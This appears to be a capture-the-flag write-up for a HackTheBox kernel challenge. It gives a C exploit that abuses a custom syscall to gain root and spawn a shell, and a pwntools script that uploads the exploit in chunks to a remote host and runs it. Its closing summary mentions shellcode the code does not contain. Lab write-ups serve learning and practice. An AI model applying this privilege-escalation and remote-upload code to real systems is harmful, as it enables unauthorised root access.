HackTheBox Kernel Adventures 2 Challenge
https://app.hackthebox.com/challenges/258
Description
Apparently Linux authentication is done in userspace? That doesn’t sound safe, time to do it all in the kernel!
Exploitation
Examining the kernel diff, we notice the addition of several new syscalls, including one named magic with syscall number 449.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#define MAX_USERS 65535
#define MAGIC_SYS 449
void do_add(char* username, char* password) {
syscall(MAGIC_SYS, 0, username, password);
}
void do_delete(char* username) {
syscall(MAGIC_SYS, 2, username);
}
void do_switch(char* username, char* password) {
syscall(MAGIC_SYS, 3, username, password);
}
int main() {
char *user = "pwn";
char *pass = "12pwn34";
for (int i = 0; i < MAX_USERS; i++) {
do_add(user, pass);
if (i == MAX_USERS - 1) {
do_switch(user, pass);
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
return 0;
}
do_delete(user);
}
for (int i = 0; i < 0xFFFFFFFF; i++) {
if (syscall(MAGIC_SYS, 0, user, pass) == 0) {
do_switch(user, pass);
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
return 0;
}
do_delete(user);
}
return 0;
}
Use musl for compilation to produce more compact binaries.
musl-gcc -static -march=x86-64 -Os poc.c -o expl
Use this script to upload, decompress, execute the PoC, and get an interactive session as root.
#!/usr/bin/python3
from pwn import *
import base64,gzip
def get_process():
try:
host, port = sys.argv[1].split(':')
return remote(host, int(port))
except IndexError:
print(f'Usage: python {sys.argv[0]} <ip:port>')
exit(1)
chunk_size = 256
file_name = 'expl'
file_name_encoded = file_name.encode()
with open(file_name, 'rb') as inf:
exploit = inf.read()
data = base64.b64encode(gzip.compress(exploit))
conn = get_process()
n_chunks = (len(data) + chunk_size - 1) // chunk_size
for i in range(n_chunks):
print(f'Uploading the exploit: {i + 1}/{n_chunks}')
conn.recvuntil(b'$')
conn.sendline(b'echo ' + data[chunk_size*i: (i+1)*chunk_size] + b' >> /home/user/' + file_name_encoded + b'.base64')
print('Uploading the exploit: ' + str(n_chunks) + '/' + str(n_chunks))
conn.sendline(b'cat /home/user/' + file_name_encoded + b'.base64 | base64 -d > /home/user/' + file_name_encoded + b'.gz')
conn.recvuntil(b'$')
conn.sendline(b'cat /home/user/' + file_name_encoded + b'.gz | gzip -d > /home/user/' + file_name_encoded)
conn.recvuntil(b'$')
conn.sendline(b'chmod +x /home/user/' + file_name_encoded)
conn.recvuntil(b'$')
conn.sendline(b'/home/user/' + file_name_encoded)
conn.interactive()
cat /flag.txt
Summary
Kernel Adventures 2: build the shellcode path, control execution, and read the flag.